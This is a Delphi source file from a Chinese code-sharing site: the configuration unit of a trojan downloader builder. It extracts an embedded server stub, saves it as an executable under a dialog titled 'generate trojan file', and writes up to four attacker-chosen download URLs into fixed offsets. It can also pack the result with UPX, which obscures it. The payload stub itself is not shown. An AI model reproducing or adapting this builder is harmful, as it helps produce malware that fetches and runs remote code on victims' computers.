⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 unitconfigserver.pas

📁 我自己写的下载者代码啊 用很古老的代码完成编译的
💻 PAS
字号:
unit UnitConfigServer;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, StdCtrls,Inifiles,ShellApi, SkinCtrls, Mask, SkinBoxCtrls,
  SkinData, DynamicSkinForm;

const
  OFFSET_URL1 = 36692; //地址
  OFFSET_URL11 =36768; //地址

  OFFSET_URL2 = 36804; //地址
  OFFSET_URL22 = 36880; //地址

  OFFSET_URL3 = 36916; //地址
  OFFSET_URL33 = 36992; //地址

  OFFSET_URL4 = 37028; //地址
  OFFSET_URL44 = 37104; //地址

type
  TConfigServer = class(TForm)
    spSkinStdLabel1: TspSkinStdLabel;
    edit1: TspSkinEdit;
    spSkinStdLabel2: TspSkinStdLabel;
    Edit2: TspSkinEdit;
    spSkinStdLabel3: TspSkinStdLabel;
    Edit3: TspSkinEdit;
    Edit4: TspSkinEdit;
    spSkinStdLabel4: TspSkinStdLabel;
    spSkinStdLabel5: TspSkinStdLabel;
    BitBtn1: TspSkinButton;
    spDynamicSkinForm1: TspDynamicSkinForm;
    spSkinData1: TspSkinData;
    spCompressedStoredSkin1: TspCompressedStoredSkin;
    CheckBox1: TspSkinCheckRadioBox;
    procedure BitBtn1Click(Sender: TObject);
    procedure FormShow(Sender: TObject);
    procedure FormDestroy(Sender: TObject);

  private
    { Private declarations }
  public
    { Public declarations }

  end;

var
  ConfigServer: TConfigServer;
  myinifile: TInifile;
  Filenupx: string;
implementation

{$R *.dfm}
{$R 'server.RES' 'server.rc'}
{$R 'upxserver.RES'}

function ExtractRes(ResType, ResName, OutName: string): Boolean;
var
  HResInfo: THandle;
  HGlobal: THandle;
  HFile: THandle;
  Ptr: Pointer;
  Size, N: Integer;
begin
  HFile := INVALID_HANDLE_VALUE;
  repeat
    Result := False;
    HResInfo := FindResource(HInstance, PChar(ResName), PChar(ResType));
    if HResInfo = 0 then Break;
    HGlobal := LoadResource(HInstance, HResInfo);
    if HGlobal = 0 then Break;
    Ptr := LockResource(HGlobal);
    Size := SizeOfResource(HInstance, HResInfo);
    if Ptr = nil then Break;
    HFile := CreateFile(PChar(OutName), GENERIC_READ or GENERIC_WRITE,
      0, nil, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, 0);
    if HFile = INVALID_HANDLE_VALUE then Break;
    if WriteFile(HFile, Ptr^, Size, LongWord(N), nil) then Result := True;
  until True;
  if HFile <> INVALID_HANDLE_VALUE then CloseHandle(HFile);
  SetFileAttributes(PChar(OutName), 0);
end;

// 生成 ----------------------------

procedure TConfigServer.BitBtn1Click(Sender: TObject);
var
  WriteBuff, ResultFilePath, ResourcePointer: PChar;
  ResourceLocation: HRSRC;
  ResourceSize, BytesWritten: Longword;
  ResDataHandle: THandle;
  FileHandle: THandle;
  sf: TSaveDialog;
  Lexe,Url1,LFile,hookfile,ExpFile, Lftp,Lftxt,Ltoru,Url2,Url3,Url4: string;
begin
  if trim(Edit1.Text) = '' then
  begin
    MessageBox(0, '请输入下载地址', '提示信息', mb_iconinformation);
    exit;
  end;
  begin
    sf := TSaveDialog.Create(Application);
    sf.InitialDir := Application.ExeName;
    sf.FileName := 'Down.exe';
    sf.DefaultExt := 'exe';
    sf.Title := '生成木马文件';
    if not sf.Execute then exit;
    Url1 := trim(Edit1.Text); // 下载地址:
    Url2 := trim(Edit2.Text); // 下载地址:
    Url3 := trim(Edit3.Text); // 下载地址:
    Url4 := trim(Edit4.Text); // 下载地址:
    Filenupx := sf.FileName;
    ResultFilePath := pchar(sf.FileName);
    ResourceLocation := FindResource(HInstance, 'HOOKMM', RT_RCDATA);
    if ResourceLocation <> 0 then
    begin
      ResourceSize := SizeofResource(HInstance, ResourceLocation);
      if ResourceSize <> 0 then
      begin
        ResDataHandle := LoadResource(HInstance, ResourceLocation);
        if ResDataHandle <> 0 then
        begin
          ResourcePointer := LockResource(ResDataHandle);
          if ResourcePointer <> nil then
          begin
            FileHandle := CreateFile(ResultFilePath, GENERIC_WRITE, FILE_SHARE_WRITE, nil, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, 0);
            if FileHandle <> INVALID_HANDLE_VALUE then
            begin
              WriteFile(FileHandle, ResourcePointer^, ResourceSize, BytesWritten, nil);
              Sleep(10);

              SetFilePointer(FileHandle, OFFSET_URL1, nil, FILE_BEGIN); //下载地址:
              WriteBuff := PChar(Url1 + StringOfChar(#0, 64 - Length(Url1)));
              WriteFile(FileHandle, WriteBuff^, 65, BytesWritten, nil);
              SetFilePointer(FileHandle, OFFSET_URL11, nil, FILE_BEGIN);

              SetFilePointer(FileHandle, OFFSET_URL2, nil, FILE_BEGIN); //下载地址:
              WriteBuff := PChar(Url2 + StringOfChar(#0, 64 - Length(Url2)));
              WriteFile(FileHandle, WriteBuff^, 65, BytesWritten, nil);
              SetFilePointer(FileHandle, OFFSET_URL22, nil, FILE_BEGIN);

              SetFilePointer(FileHandle, OFFSET_URL3, nil, FILE_BEGIN); //下载地址:
              WriteBuff := PChar(Url3 + StringOfChar(#0, 64 - Length(Url3)));
              WriteFile(FileHandle, WriteBuff^, 65, BytesWritten, nil);
              SetFilePointer(FileHandle, OFFSET_URL33, nil, FILE_BEGIN);

              SetFilePointer(FileHandle, OFFSET_URL4, nil, FILE_BEGIN); //下载地址:
              WriteBuff := PChar(Url4 + StringOfChar(#0, 64 - Length(Url4)));
              WriteFile(FileHandle, WriteBuff^, 65, BytesWritten, nil);
              SetFilePointer(FileHandle, OFFSET_URL44, nil, FILE_BEGIN);

              CloseHandle(FileHandle);

              MessageBox(0, '配置文件成功', '提示', mb_iconinformation);

              if CheckBox1.Checked then
              begin
                if ExtractRes('RCDUPX', 'UPXKMM', 'UPX.EXE') then
                begin
                  ShellExecute(0, nil, 'upx.exe', PChar('"' + Filenupx + '"'), nil, SW_MINIMIZE);
                  Sleep(1000);
                  DeleteFile('upx.exe');
                end;
              end
            end;
          end;
        end;
      end;
    end;
  end;
end;

procedure TConfigServer.FormShow(Sender: TObject);
begin
  SetWindowLong(BitBtn1.Handle, GWL_STYLE, WS_CHILD or WS_VISIBLE or BS_FLAT);
end;


procedure TConfigServer.FormDestroy(Sender: TObject);
begin
  DeleteFile('upx.exe');
end;



end.

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -